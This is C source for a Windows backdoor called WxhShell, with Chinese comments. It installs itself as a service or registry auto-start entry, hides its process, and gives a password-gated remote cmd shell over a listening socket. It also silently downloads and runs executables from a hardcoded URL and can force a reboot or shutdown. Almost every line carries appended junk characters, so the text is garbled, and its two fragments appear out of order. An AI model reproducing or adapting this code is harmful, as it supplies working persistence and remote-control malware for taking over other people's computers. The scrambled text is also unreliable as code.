    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OoTMvZP[  
    if(Boot(SHUTDOWN)) vBAds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7H~StdL/>  
    else { i]!CH2\  
    closesocket(wsh); UbKdB  
    ExitThread(0); TWkuR]5  
    } W-zD1q~0?  
    break; _P.+[RS@  
    } p*E_Po  
  // 获取shell ) D:M_T2  
  case 's': { (5rH 72g(  
    CmdShell(wsh); 4tU3+e5h  
    closesocket(wsh); 2i`N26On  
    ExitThread(0); H5uWI  
    break; 6O8'T`F[  
  } y)o!F^  
  // 退出 I)I,{xT4  
  case 'x': { i&\N_PUm[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q\*",xZxwz  
    CloseIt(wsh); !fUrDOM0E  
    break; syhTOhOX  
    } UO$z_ p]w  
  // 离开 nAv@^G2  
  case 'q': { R4v)}`x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EeC5HgIU'C  
    closesocket(wsh); "mr;!"LA  
    WSACleanup(); #!0le:_  
    exit(1); @/i{By^C  
    break; cLR02  
        } ;i?Ao:]  
  } ?XO$ 9J  
  } z%5i^P  
"&Ym(P  
  // 提示信息 }8J77[>/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T ) T0.c  
} ?-[.H^]s~  
  } 'eg?W_zu  
 Ub(zwR;  
  return; pv8"E?9,k  
} G m40u/  
]^:l?F\h  
// shell模块句柄 uCuXY#R+  
int CmdShell(SOCKET sock) 8t3@ Hi  
{ pn?c6K vO  
STARTUPINFO si; 10xo<@l  
ZeroMemory(&si,sizeof(si)); <kIg>+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v]+,kbT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } _Yk.@J5  
PROCESS_INFORMATION ProcessInfo; SOQm>\U'i  
char cmdline[]="cmd"; 8 St`,Tq)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Z[(s!  
  return 0; /~*U'.V  
} aY7kl  
f!2`N  
// 自身启动模式 (r,tU(  
int StartFromService(void) d4<Ic#  
{ cU7 c}?J<  
typedef struct )>08{7  
{ sXxF5&AF0  
  DWORD ExitStatus; Kt3/C'zu  
  DWORD PebBaseAddress; *L> gZ`Q  
  DWORD AffinityMask; jz(}P8  
  DWORD BasePriority; NMb`d0;(  
  ULONG UniqueProcessId; Cc^`M9dP  
  ULONG InheritedFromUniqueProcessId; b$)b/=2  
}   PROCESS_BASIC_INFORMATION; P<yd  
k r2V  
PROCNTQSIP NtQueryInformationProcess; |u,2A1  
~$ } `R=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :{<( )gfk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )? WiO}"  
OLpE0gZ.|`  
  HANDLE             hProcess; QHnk@ R!  
  PROCESS_BASIC_INFORMATION pbi; ?h4-D:!$L  
*fVs|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~yz7/?A)TS  
  if(NULL == hInst ) return 0; -#T?C ]}  
)P>Cxzs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I4 dS,h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bAv>?Xqa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (@Q@B%!!K  
Gr6XqO_  
  if (!NtQueryInformationProcess) return 0; E ?(+v  
KA1Z{7UK%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z1A[rbe=4w  
  if(!hProcess) return 0; _uU}J5d.  
Qk?;nF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #7K&x.w$  
TGx:#x*k  
  CloseHandle(hProcess); 1L.H"  
@A6 P[r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %9hzz5#  
if(hProcess==NULL) return 0; J2VhheL`J  
{'P7D4w  
HMODULE hMod; H: q(T >/w  
char procName[255]; dE9xan  
unsigned long cbNeeded; OpeK-K  
_ Js & _d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c%Ht; sK`*  
JI-q4L|  
  CloseHandle(hProcess); /=co/}i  
8d.5D&  
if(strstr(procName,"services")) return 1; // 以服务启动 VaQqi>;\  
+M th+qgw  
  return 0; // 注册表启动 \P% E1c#  
} 7@"J&><w!  
!l1UpJp  
// 主模块 `oH=O6  
int StartWxhshell(LPSTR lpCmdLine) 7Z;bUMYtx  
{ F/;uN5{o  
  SOCKET wsl; xJ H]>#XJ  
BOOL val=TRUE; 7+';&2M)n~  
  int port=0; c0M=T  
  struct sockaddr_in door; X=]FVHV;  
)+T\LU  
  if(wscfg.ws_autoins) Install(); 'ms&ty*T  
Dl hb'*@  
port=atoi(lpCmdLine); apQ` l^  
7A@GN A  
if(port<=0) port=wscfg.ws_port; ]&%_Fpx  
C8i6ESmU  
  WSADATA data; _/0vmgQ&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !U38aHG  
=9@{U2 =l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !}fq%8"-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9fR`un)f}  
  door.sin_family = AF_INET; y\7 -!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P}B{FIpNG  
  door.sin_port = htons(port); =jZ}@L/+  
$,R QA^gxW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6rlafISvO  
closesocket(wsl); h3y0bV[g=  
return 1; FWpcWmS`s  
} m":lKXpQ  
H(bR@Qok  
  if(listen(wsl,2) == INVALID_SOCKET) { pj?wQ'  
closesocket(wsl); z^s/7Va[  
return 1; J WaI[n}  
} u2crL5^z2)  
  Wxhshell(wsl); sCG[gshq  
  WSACleanup(); 5*QNE!  
w yi n  
return 0; _(=[d  
w_o|k&~,  
} M_@%*y\o  
--*Jv"/0  
// 以NT服务方式启动 t,|`#6Ft  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OrN>4S  
{ kGbtZ} W  
DWORD   status = 0; d%tF~|#A%  
  DWORD   specificError = 0xfffffff; K^0cL%dB  
KICy! "af  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wWV`k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oGz-lO{lt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b?Dhhf  
  serviceStatus.dwWin32ExitCode     = 0; =?fxPT[1K  
  serviceStatus.dwServiceSpecificExitCode = 0; r9[{0y!4  
  serviceStatus.dwCheckPoint       = 0; (dZu&  
  serviceStatus.dwWaitHint       = 0; RK%N:!f q=  
CSF-2lSG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FJ]BB4 K  
  if (hServiceStatusHandle==0) return; 6^ UQ{P1;  
6;rJIk@Fx=  
status = GetLastError(); z 3RD*3b  
  if (status!=NO_ERROR) U1zcJ l^  
{ a(>oQG8F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -90qG"@  
    serviceStatus.dwCheckPoint       = 0; I75>$"$<  
    serviceStatus.dwWaitHint       = 0; ];cJIa  
    serviceStatus.dwWin32ExitCode     = status; + ;u<tA  
    serviceStatus.dwServiceSpecificExitCode = specificError; )+ }\NCFh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D*!p8J8Ku  
    return; <)01]lKH  
  } *xY}?vSs  
%-C   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pRS+vV3  
  serviceStatus.dwCheckPoint       = 0; @ 63Uk2{W>  
  serviceStatus.dwWaitHint       = 0; OhUEp g[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aKi&2>c5>  
} 9I3vW]0x[  
,S.<qmf  
// 处理NT服务事件,比如:启动、停止 r)S tp`p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #NU;$ &  
{ WDznhMo  
switch(fdwControl) b[}f]pB@n  
{ 1u4)  
case SERVICE_CONTROL_STOP: R%7* )3$&r  
  serviceStatus.dwWin32ExitCode = 0; 9a_B   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; # `}(x;ge  
  serviceStatus.dwCheckPoint   = 0; !brXQj8D7  
  serviceStatus.dwWaitHint     = 0; H(}Jt!/:  
  { QoagyL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 92y<E<n  
  } $$my,:nH  
  return; <_X`D4g]XO  
case SERVICE_CONTROL_PAUSE: !V|%n(O"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v X=zqV  
  break; 6:Eu[PE~w  
case SERVICE_CONTROL_CONTINUE: Aj| Gqw>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e)Q{yO  
  break; C*O648yz[  
case SERVICE_CONTROL_INTERROGATE: {J_1.uN=  
  break; D|zlC,J,  
}; X}XTEk3[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 <&jY  
} t^N 92$|  
a>w@9   
// 标准应用程序主函数 *=+m;%]_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C)w11$.YQ9  
{ Cso!VdCX  
s{I Xth6  
// 获取操作系统版本 6g\SJ O-;N  
OsIsNt=GetOsVer(); tG1,AkyZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Grot3a  
8^/V2;~^,>  
  // 从命令行安装 'FVh/};Y.D  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^.']-XjC  
:Bk!YK  
  // 下载执行文件 '<(S*&s  
if(wscfg.ws_downexe) { )C \ %R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Pl 7FHfB  
  WinExec(wscfg.ws_filenam,SW_HIDE); h!c6]D4!L  
} ;=.i+  
2L=+z1%I  
if(!OsIsNt) { 6O|B'?]Pf  
// 如果时win9x,隐藏进程并且设置为注册表启动 }d<xbL!#  
HideProc(); p.Y =  
StartWxhshell(lpCmdLine);  p1zT]  
} GtYtB2U  
else Jptzc:~B  
  if(StartFromService()) B.:DW3  
  // 以服务方式启动 dy>iIc>  
  StartServiceCtrlDispatcher(DispatchTable); RL0#WBR  
else 014p= W  
  // 普通方式启动 *{3&?pxx  
  StartWxhshell(lpCmdLine); hYm$Sx(=  
] qT\z<}  
return 0; gu'Yk  
} \\<waU''  
`jl 1Q,~2r  
irqNnnMGEa  
>G4EiJS  
=========================================== ' KX'{Gy  
F%Te0l  
hXxgKi%  
() l#}H`m  
\>8r)xC  
.#py5&`%  
" MjGeH>c  
["5Z =4  
#include <stdio.h> fpj,~+  
#include <string.h> QfLDyJv`e  
#include <windows.h> &4g]#A>@  
#include <winsock2.h> !8cS1(a  
#include <winsvc.h> H l'za  
#include <urlmon.h> eRI'pi[#.  
i5oV,fiZo  
#pragma comment (lib, "Ws2_32.lib") :?!kZD!  
#pragma comment (lib, "urlmon.lib") .f+ul@o  
|nfFI  
#define MAX_USER   100 // 最大客户端连接数 H@!\?5I  
#define BUF_SOCK   200 // sock buffer B,`B!rU  
#define KEY_BUFF   255 // 输入 buffer ]{tnNr>mv  
v37TDY3;  
#define REBOOT     0   // 重启 9*AH&/EXth  
#define SHUTDOWN   1   // 关机 u9 LP=g  
xG802?2i/;  
#define DEF_PORT   5000 // 监听端口 {J`]6ba  
Y[oNg>Rz  
#define REG_LEN     16   // 注册表键长度 {9yv3[f3  
#define SVC_LEN     80   // NT服务名长度 T]&% KQ  
~;m3i3D  
// 从dll定义API fc}G6P;3{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HM'P<<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3['aK|qk.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  y">_$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p i ;,?p-  
&&(^;+  
// wxhshell配置信息 v]"W.<B,  
struct WSCFG { _?9|0>]xG  
  int ws_port;         // 监听端口 m@|0iDS  
  char ws_passstr[REG_LEN]; // 口令 #>I*c _-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~Ibq,9i  
  char ws_regname[REG_LEN]; // 注册表键名 vDG AC'  
  char ws_svcname[REG_LEN]; // 服务名 <W,M?r+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3~Qvp )~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Cg",k'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {'.[N79xP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k!{0ku}]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Dd@&N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xY3 KKje  
pS1f y]  
}; z#$>f*b  
PL+j;V(<  
// default Wxhshell configuration r8o9C  
struct WSCFG wscfg={DEF_PORT, g{t)I0xm  
    "xuhuanlingzhe", '}\#bMeObg  
    1, @O&<_&  
    "Wxhshell", KW3Dr`A  
    "Wxhshell", !,;>)R   
            "WxhShell Service", >8I?YT.  
    "Wrsky Windows CmdShell Service", /dT7:x*  
    "Please Input Your Password: ", n^HKf^]  
  1, |4=Du-e  
  "http://www.wrsky.com/wxhshell.exe", a>3#z2#  
  "Wxhshell.exe" O WJv<3  
    }; U Bo[iZ|%  
F\!Va  
// 消息定义模块 G5C=p:o{/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7~9u|7a#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; utH,pGs C.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y[(U~l,a+  
char *msg_ws_ext="\n\rExit."; hJkP_( +J\  
char *msg_ws_end="\n\rQuit."; SN${cs%  
char *msg_ws_boot="\n\rReboot..."; C}i1)   
char *msg_ws_poff="\n\rShutdown..."; 0QWc1L  
char *msg_ws_down="\n\rSave to "; ~1_v;LhH5+  
29W~<E8K-  
char *msg_ws_err="\n\rErr!"; 0j =xWC  
char *msg_ws_ok="\n\rOK!"; <{t*yMr   
f!|$!r*q  
char ExeFile[MAX_PATH]; 3Pj#k|(f[0  
int nUser = 0; 7P& O{tl(  
HANDLE handles[MAX_USER]; ({"jL*S,q  
int OsIsNt; A/WmVv6  
1MntTIT  
SERVICE_STATUS       serviceStatus; ^)qOILn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5_|Sm=  
XZ|%9#6  
// 函数声明 *wSz2o),  
int Install(void); \yQs[l%J  
int Uninstall(void); ~9[^abz  
int DownloadFile(char *sURL, SOCKET wsh); ?+Q?K30:  
int Boot(int flag); =vd9mb-  
void HideProc(void); ;x]CaG)f  
int GetOsVer(void); K\bA[5+N  
int Wxhshell(SOCKET wsl); Tz PG(f  
void TalkWithClient(void *cs); 6~:eO(pK l  
int CmdShell(SOCKET sock); 5$Q}Zxh  
int StartFromService(void); kjS9?>i  
int StartWxhshell(LPSTR lpCmdLine); 5,i0QT"  
PVNDvUce  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EFd9n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !CnkG<5z>  
iSiez'  
// 数据结构和表定义 _4Ciai2Ql  
SERVICE_TABLE_ENTRY DispatchTable[] = jcC "S qL  
{ uR;m<wPH,f  
{wscfg.ws_svcname, NTServiceMain}, d*M:P jG@  
{NULL, NULL} C(4r>TNm  
}; 5{`a\;*  
<k41j=d  
// 自我安装 Ct8}jg"  
int Install(void) *$+:Cbe-F  
{ ><l|&&e-  
  char svExeFile[MAX_PATH]; ;J]Lzh  
  HKEY key; Eku+&f@RB  
  strcpy(svExeFile,ExeFile); I1J/de,u  
kMCg fL  
// 如果是win9x系统,修改注册表设为自启动 vXq2="+  
if(!OsIsNt) { +dw=)A#/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2^V/>|W>w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cyn_UE  
  RegCloseKey(key); @4ccZ&`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B1u.aa$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x_X%| f  
  RegCloseKey(key); .%\lYk]  
  return 0; rV5QKz6'  
    } gwAZ2w  
  } [M;B 9-2$  
} .huk>  
else { @xq jAcfg  
a7Xa3 vlpO  
// 如果是NT以上系统,安装为系统服务 ZcP/rT3{^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D^!x@I~:  
if (schSCManager!=0) *(w#*,lv  
{ :!cNkJa  
  SC_HANDLE schService = CreateService x_k @hGSC  
  ( Omkpjr(1  
  schSCManager, aR c2#:~;  
  wscfg.ws_svcname, @hz~9AII9  
  wscfg.ws_svcdisp, V\2&?#GZ  
  SERVICE_ALL_ACCESS, qs Uob   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2k}8`P;  
  SERVICE_AUTO_START, <,X?+hr  
  SERVICE_ERROR_NORMAL, +~ZFao qf  
  svExeFile, oiKY2.yW  
  NULL, n[`KhRN  
  NULL, D.ajO^[  
  NULL, ?gGmJl  
  NULL, 5GHW~q!Zo\  
  NULL FN>ns,  
  ); usFhcU  
  if (schService!=0) 2Nau]y]=  
  { $+%eLx*  
  CloseServiceHandle(schService); Gc1!')g!  
  CloseServiceHandle(schSCManager); MODi:jsl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DO5H(a  
  strcat(svExeFile,wscfg.ws_svcname); dyyGt }}5f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k~|5TO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /Y7Yy jMi  
  RegCloseKey(key); ~4}'R_  
  return 0; 8b!-2d:*  
    } f:!b0j  
  } U~nW>WJ+.  
  CloseServiceHandle(schSCManager); 2Jl$/W 3  
} $={^':Uh  
} 3<:m;F*#  
X1N*}@:/  
return 1; c_RAtM<n  
} @/yQ4Gr  
BQ /0z^A  
// 自我卸载 Y \oz9tf8  
int Uninstall(void) e5HHsR6  
{ '(.vB~m7*+  
  HKEY key; {i!@C(M3  
%aHQIoxg  
if(!OsIsNt) { 9NPOdt:@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^5,B6  
  RegDeleteValue(key,wscfg.ws_regname); ymr#OP$<S  
  RegCloseKey(key);  Xb'UsQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d8V)eZYXy~  
  RegDeleteValue(key,wscfg.ws_regname); zF-M9f$_PY  
  RegCloseKey(key); FKVf_Ncf%  
  return 0; A2xfNY<  
  } 1#OM~v6B  
} M<KWx'uV  
} aplOo[  
else { :TTZ@ q  
u@ psVt   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s${|A =  
if (schSCManager!=0) Scfk] DT  
{ 6Y 4I $[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p>#QFd"m  
  if (schService!=0) S@WzvM  
  { x_eR/B>  
  if(DeleteService(schService)!=0) { 0.4Q-?J  
  CloseServiceHandle(schService); ] 1:pnd  
  CloseServiceHandle(schSCManager); ML= :&M!ao  
  return 0; OqW (C  
  } {r.yoI4e  
  CloseServiceHandle(schService); 9[7Gxmf  
  } So^;5tG  
  CloseServiceHandle(schSCManager); l A1l  
} `VzjXJw  
} ybNy"2Wk  
/E|Ac&Qk  
return 1; 7Ns1b(kU  
} _1sjsGp>  
1|8<!Hx#-  
// 从指定url下载文件 |mO4+:-~D+  
int DownloadFile(char *sURL, SOCKET wsh) >kN%R8*Sx  
{ 6Pzz= ai<  
  HRESULT hr; q,->E<8  
char seps[]= "/"; 9bVPMq7}i  
char *token; <:gNx%R  
char *file; m-h+UKt  
char myURL[MAX_PATH]; }X;LR\^u[f  
char myFILE[MAX_PATH]; YlP8fxS  
<6(&w9WY  
strcpy(myURL,sURL); Co%EJb"tk  
  token=strtok(myURL,seps); 8G6[\P3fQ  
  while(token!=NULL) 2TxHY|4  
  { dEuts*@ Q  
    file=token; rcx'`CIJ  
  token=strtok(NULL,seps); F\"`^`(O  
  } yo=0Ov  
x+V@f~2F  
GetCurrentDirectory(MAX_PATH,myFILE); PE7D)!d T  
strcat(myFILE, "\\"); fZ6"DJZ  
strcat(myFILE, file); 1p%75VW  
  send(wsh,myFILE,strlen(myFILE),0); Vr1yj  
send(wsh,"...",3,0); ra[*E4P9L*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #rs]5tx([  
  if(hr==S_OK) b+rn:R  
return 0; 6_#:LFke  
else =iEQE  
return 1; `r$c53|<u  
(uk-c~T!u  
} tXWh q  
y~ZYI]` J  
// 系统电源模块 Z91GM1lrf8  
int Boot(int flag) y))) {X  
{ BWHH:cX  
  HANDLE hToken; " F3M  m  
  TOKEN_PRIVILEGES tkp; 1[&V6=n  
}kK6"]Tj  
  if(OsIsNt) { %x2_njDd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #3WKm*T/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F=qG +T  
    tkp.PrivilegeCount = 1; &P,z$H{o@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZNX=]]HM<n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6k@(7Mw8A  
if(flag==REBOOT) { btV Tt5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nR2pqaKc  
  return 0; :w+2L4lGs  
} l)^sE)  
else { 'Rg6JW\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " Om4P|  
  return 0; pm 4"Q!K  
} c%bGVRhE  
  } (*CGZDg  
  else { w.2[Xx~  
if(flag==REBOOT) { %JsCw8C6?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MS~|F^g  
  return 0; %9qG|A,cA  
} F6$QEiDu@  
else { A3Lfh6O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e~+VN4D&b>  
  return 0; 8FmRD  
} AzmISm  
} 9:\YEs"  
NGYUZ\m  
return 1; `]q>A']Dl  
} hj_%'kk-A  
y`n'>F11  
// win9x进程隐藏模块 />EH]-|  
void HideProc(void) 1;Dug  
{ *NEA(9  
ktu{I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L,<5l?u  
  if ( hKernel != NULL ) a0]n>C`~  
  { a1 I"Sh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wACx}'+M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); av.L%l&d  
    FreeLibrary(hKernel); 9t1aR*b&@  
  } E<|p9,M  
"kHQ}#6r  
return; rphfW:  
} ]sbj8  
< SIe5" {  
// 获取操作系统版本 !|1GraiS  
int GetOsVer(void) g3`:d)|  
{ 4.^1D';(  
  OSVERSIONINFO winfo; 1syI%I1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :k"VR,riF  
  GetVersionEx(&winfo); j%V95M% $  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gh:hfHiG  
  return 1; oOU?6nq  
  else fF\s5f#:  
  return 0; )U~,q>H+ %  
} Y~j )B\^{  
'^!1AGF  
// 客户端句柄模块 a IA9rn  
int Wxhshell(SOCKET wsl) Eed5sm$H  
{ \+STl#3*q  
  SOCKET wsh; (}|QSf:  
  struct sockaddr_in client; X;hV+| Bo  
  DWORD myID; )<vU F]e~  
,xJ1\_GI`  
  while(nUser<MAX_USER) ~ e4Pj`?=K  
{ j> ?0Y  
  int nSize=sizeof(client); "|\G[xLOaW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u$"dL=s!  
  if(wsh==INVALID_SOCKET) return 1; C_RxJWka  
**%/Ke[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k6p Xc<]8  
if(handles[nUser]==0) %p R: .u|  
  closesocket(wsh); :+G1=TuXw~  
else BfcpB)N&.K  
  nUser++; _I&];WM\  
  } w,<nH:~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xux j  
 bK7j"  
  return 0; sI7<rI.t){  
} K)z! e;r  
R`_RcHY:  
// 关闭 socket 2}ttC m  
void CloseIt(SOCKET wsh) cr&sI=i  
{ SXA`o<Ma  
closesocket(wsh); AaVj^iy/X  
nUser--; $Ka-ZPy<#  
ExitThread(0); 7AE)P[  
} " wB~*,Ny  
|fJpX5W-l  
// 客户端请求句柄 w=]bj0<A=  
void TalkWithClient(void *cs) S:*.,zC  
{ AWY#t&  
123 6W+  
  SOCKET wsh=(SOCKET)cs; [+q':T1W-  
  char pwd[SVC_LEN]; >AbgJ*X.  
  char cmd[KEY_BUFF]; /O@dqEbc  
char chr[1]; OF4iGFw  
int i,j; (.:!_OB0N  
ZW6ZO[`6  
  while (nUser < MAX_USER) { M_5$y )M  
#`1@4,iC  
if(wscfg.ws_passstr) { s bxOnw P\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tML[~AZh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #i8] f{  
  //ZeroMemory(pwd,KEY_BUFF); fO;#;p.  
      i=0; 7kQZ$sLc  
  while(i<SVC_LEN) { Ic%c%U=i  
|Sne\N>%  
  // 设置超时  Stzv  
  fd_set FdRead; Z|8oD*,  
  struct timeval TimeOut; WB: NV=&^  
  FD_ZERO(&FdRead); ^9{mjy0Q  
  FD_SET(wsh,&FdRead); j J}3WJ  
  TimeOut.tv_sec=8; rW.o_z03^  
  TimeOut.tv_usec=0; :{(` ;fJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +zU[rhMk'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0gI^GJN%Y!  
}67lL~L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0 e}N{,&Y  
  pwd=chr[0]; EH*Lw c  
  if(chr[0]==0xd || chr[0]==0xa) { d3$*z)12`  
  pwd=0; ^1#"FU2cP  
  break; Qh4<HQ<9  
  } O% 1X[  
  i++; ?k5m1,fHW  
    } D8`dEB2|S  
!rK,_wH  
  // 如果是非法用户,关闭 socket qmWK8}F.cE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6`ZHFem  
} XZ8#8Di8  
q;W(;B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w:|BQ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lWVvAoe  
X9J&OQ  
while(1) { c v .R`)l  
6AM-^S@  
  ZeroMemory(cmd,KEY_BUFF); =B0#z]qu  
Gu3# y"a>  
      // 自动支持客户端 telnet标准   Z{9 mZ lIy  
  j=0; h!vq~g  
  while(j<KEY_BUFF) { *8ZaG]L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e^N6h3WF  
  cmd[j]=chr[0]; cgQ4JY/6  
  if(chr[0]==0xa || chr[0]==0xd) { N8]DW_bsB  
  cmd[j]=0; kM#ZpI&0%  
  break; `t@Rh~B  
  } Pjs L{,  
  j++; bJ~@ k,'  
    } gc ce]QS  
_iJ8*v 8A  
  // 下载文件 jD`p;#~8  
  if(strstr(cmd,"http://")) { kp{q5J6/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )A@i2I  
  if(DownloadFile(cmd,wsh)) j>OuNeo@4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`FskEoijq  
  else 4Ou|4WjnL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1x"S^j   
